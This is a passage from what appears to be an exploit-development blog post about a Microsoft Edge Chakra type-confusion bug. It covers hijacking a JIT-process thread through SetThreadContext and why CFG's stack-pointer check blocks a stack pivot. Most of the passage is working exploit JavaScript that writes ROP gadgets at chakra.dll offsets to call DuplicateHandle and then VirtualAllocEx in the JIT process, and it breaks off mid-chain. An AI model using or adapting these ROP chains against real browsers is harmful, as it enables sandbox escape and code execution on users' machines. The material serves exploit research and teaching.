<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// ret gadget we want to overwrite our remote thread's RIP with </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xfeab</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion171.png" alt="" /></p>

<p><img src="/images/3typeconfusion172.png" alt="" /></p>

<p>After preserving <code class="language-plaintext highlighter-rouge">CONTEXT.Rsp</code>, we can manipulate <code class="language-plaintext highlighter-rouge">CONTEXT.Rip</code> to <em>directly</em> point to our <code class="language-plaintext highlighter-rouge">ret</code> gadget. We don’t really need to save this address, because once we are done writing to it, we simply don’t need to worry about it anymore.</p>

<p><img src="/images/3typeconfusion173.png" alt="" /></p>

<p><img src="/images/3typeconfusion174.png" alt="" /></p>

<p><img src="/images/3typeconfusion175.png" alt="" /></p>

<p><img src="/images/3typeconfusion176.png" alt="" /></p>

<p>Now that we have RSP preserved, it is finally time to use one last call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write our final <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain into the JIT process.</p>

<h2 id="writeprocessmemory-rop-chain-round-4"><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP Chain (Round 4)</h2>

<p>Our last step is to write our ROP chain into the remote process. You may be thinking - “Connor, we just hijacked RIP. Why can’t we just hijack RSP instead of writing our payload to the existing stack?” Great question! We know that if we call <code class="language-plaintext highlighter-rouge">SetThreadContext</code>, CFG doesn’t perform any validation on the instruction pointer to ensure we aren’t calling into the middle or end of a function. There is now way for CFG to know this! However, CFG <em>does</em> perform some slight validation of the stack pointer on <code class="language-plaintext highlighter-rouge">SetThreadContext</code> calls - via a function called <code class="language-plaintext highlighter-rouge">RtlGuardIsValidStackPointer</code>.</p>

<p>When the <code class="language-plaintext highlighter-rouge">SetThreadContext</code> function is called, this performs a <code class="language-plaintext highlighter-rouge">syscall</code> to the kernel (via <code class="language-plaintext highlighter-rouge">NtSetContextThread</code>). In the kernel, this eventually leads to the kernel version of <code class="language-plaintext highlighter-rouge">NtSetContextThread</code>, which calls <code class="language-plaintext highlighter-rouge">PspSetContextThreadInternal</code>.</p>

<p><img src="/images/3typeconfusion177.png" alt="" /></p>

<p><img src="/images/3typeconfusion178.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">PspSetContextInternal</code> eventually calls <code class="language-plaintext highlighter-rouge">KeVerifyContextRecord</code>. <code class="language-plaintext highlighter-rouge">KeVerifyContext</code> record eventually calls a function called <code class="language-plaintext highlighter-rouge">RtlGuardIsValidStackPointer</code>.</p>

<p><img src="/images/3typeconfusion179.png" alt="" /></p>

<p><img src="/images/3typeconfusion180.png" alt="" /></p>

<p>This feature of CFG checks the TEB to ensure that any call to <code class="language-plaintext highlighter-rouge">SetThreadContext</code> has a stack base and limit within the known bounds of the stack managed by the TEB. This is why we cannot change RSP to something like our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> allocation - as it isn’t within the known stack bounds. Because of this, we have to directly write our ROP payload to the existing stack (which we leaked via <code class="language-plaintext highlighter-rouge">GetThreadContext</code>).</p>

<p>With that said, let’s see our last <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> call. Here is how the call will be setup:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">.</span><span class="n">Rsp</span><span class="p">),</span>				<span class="c1">// Address of our remote thread's stack</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>				<span class="c1">// Size of our ROP chain</span>
	<span class="nb">NULL</span> 						<span class="c1">// Optional</span>
<span class="p">);</span>
</code></pre></div></div>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
